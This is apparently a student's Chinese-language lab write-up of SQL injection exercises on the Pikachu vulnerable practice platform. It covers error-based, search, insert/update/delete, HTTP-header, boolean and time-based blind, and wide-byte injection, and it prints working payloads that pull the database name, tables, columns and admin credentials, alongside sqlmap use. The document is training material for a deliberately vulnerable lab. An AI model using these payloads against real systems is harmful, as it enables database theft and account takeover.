web实验4--SQL注入
SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,
导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
SQL注入攻击流程
第一步:注入点探测
- 自动方式:使用web漏洞扫描工具,自动进行注入点发现
- 手动方式:手工构造SQL注入测试语句进行注入点发现
第二步:信息获取
通过注入点取得期望得到的数据
- 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
- 2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)
第三步:获取权限
- 获取操作系统权限:通过数据库执行shell,上传木马
- 注入点类型
分类根据:输入的变量传入到SQL语句是以什么类型拼接的
- 数字型:user_id=$id
- 字符型:user_id=‘$id‘
- 搜索型:text LIKE ‘%{$_GET[‘search‘]}%‘"

抓到的 burp包,我很怀疑这个 id 是直接写到select语句里面的,那么先对id做一个简单的全真修改


可见这一下全都出来了,那么显然注入成功
2.字符型注入(GET)

显而易见的 get 方式提交,那么先试一试这个 submit 这里面有没有注入点,输入 ' 试一试

报错那么简单的试一试全真

全部查到了,注入成功,然后做一下全面的注入
这里利用到 updatexml()函数,作用是改变(查找并替换)XML 文档中符合条件的节点的值,当然固有的不能改的数据就报错出来了
先看一下 MySQL的版本 使用 ' and updatexml(1, version(), 0)#

只是出来了一部分,需要改进一下, ' and updatexml(1, version(), 0)# 中的 version函数需要做一下修饰这里使用 concat函数,将 ~输入进去,'and updatexml(1, concat(0x7e,version()), 0)#

可以看到是 10.1.35的 MariaDB。
现在使用'and updatexml(1, concat(0x7e, database()), 0)# 查看数据库名字

现在查询表名,使用 'and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)# 仍然使用concat函数
得到了第一个表的名字,因为我使用了limit函数限制防止报错太多无法显示,同理获取字段名,列名和用户名
'and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

用这个用户名字去获得数据和 password
' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

查询admin ' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

猜一下是不是 base64,希望不是md5....

运气不错, 123456是 admin 的 password
3.搜索型注入

依旧是 get,那么用单引号挨个看报错

接着发现是可以部分包含查询的,那么一定有用到 %和like 来多个查询,很可能是'%name%',试一试构造 %,将之前的单引号闭合

插件好像是出问题了.....233333,直接用的手工输入
4.XX型注入
和 刚刚那个很像,但是估计是有什么不一样在里面,试了一下括号的可能性,果然就出来了
5.insert/update/delete注入

看到了注册页面那么可以都试一试有没有注入点,在注册的用户名,密码里面打上单引号,出现报错,显然存在注入点

分析一下,注册等于增加了一个新的用户,那么肯定用到 insert()这个函数插入新信息,当然还有常用的update()函数,那么我们可以通过 or 来做到很多操作,依旧使用updatexml函数看一下数据库名,使用应该不会存在的 adminminmin 'or updatexml(1, concat(0x7e,database()), 0) or ', 两个单引号分别闭合 values数据的前后两个单引号,所以不用注释后面的句子

剩下的爆破表名等操作就不做了,与上面的Get的一连串手工操作类似
现在看一下留言板,在留言板里面可以做删除的管理,那么显然使用delete函数,这里添加多几个留言免得删除掉我的储存型XSS语句


使用burp抓包的时候明显看见是按照留言的id号来清除的,鉴于在第一题里面出现了select 直接找id的句子,那么可以肯定是按照where和id关键字来寻找删除的句子,so,构造出 or updatexml(1, concat(0x7e,database()), 0) 在id=78后

后台被注入之后换了几个id,回到浏览器的解析里面看一下。同样得到了数据库名字,不过这个是后台

6.http header注入

登录一下显示这个??user agent和 http accept 都明明白白写出来了...
在发送的包的代理和cookie至少有一个是直接爬取的,有爬取就肯定有记录进入数据库的操作,看一看能不能注入出数据库名,我觉得这个cookie很像直接往数据库里面写的样子

构造 admin ' or updatexml(1, concat(0x7e, database()), 0)#

爆破出数据库名
7.盲注
先用基于真假的盲注试一试
kobe' and 1=1# 输入

成功执行
kobe' and 1=2# 就不一样了

显然是有盲注的可能性的,至少有的会正常,没有的会报错。我们通过真 或者 假 来获取数据
先爆破数据库名,先用 length(database()) 判断 数据库名称的长度
从 5 开始吧
kobe'and length(database())>5# 一直尝试
当kobe'and length(database())>8#报错

再确认一下


那么长度是 7
再用 substr() 和 ascii() 判断数据库由哪些字母组成
kobe'and ascii(substr(database(), 1, 1)) > 113# 不断的尝试
鉴于非常的麻烦,我借用自己的虚拟机,用手机热点组网,kali调到桥接模式
连接后看到了自己的pikachu

使用了
level 比较高,用了4

找到了注入点

爆破数据库名字

出现了pikachu

表名爆出来
现在获取users里面的列名

爆破用户名和密码,用sqlmap的自有字典,爆破出

爆破出三个用户名和对应的密码
基于时间的
这个也一样,用sqlmap做辅助
在皮卡丘平台一,无论输入什么,前端都是显示 “I don't care who you are!”
然而当使用 kobe' and sleep(5)#

注意底部的时间,整整用了5s多才完成传输,那么是有基于时间的盲注存在的
使用sqlmap还是用比较高的等级

同样在 name这里找到了注入点

用同样的办法做数据库名字,表名,列名和字段的破解获得,不再详细解释,只放结果截图,看到截图里的--time-sec是sqlmap自动帮我加上去的,其实我在输入命令的时候就加上去可以省下那么一点时间

时间盲注真的慢一个一个5s等...


最后爆破出三个用户名和对应的密码 ,当然真的很慢就是了
8.宽字节注入
直接注入试一试

报错....你都说看宽字节了,那么肯定想办法让 单引号逃过去,用转义后的帮点忙
在单引号前面加上 %df,让单引号成功逃逸
kobe%df' or 1=1#,然而不太行,貌似是出了什么问题来着,可能是浏览器自己对前端的代码做了解析,到时候再用burp后台抓个包试试直接后端

浙公网安备 33010602011771号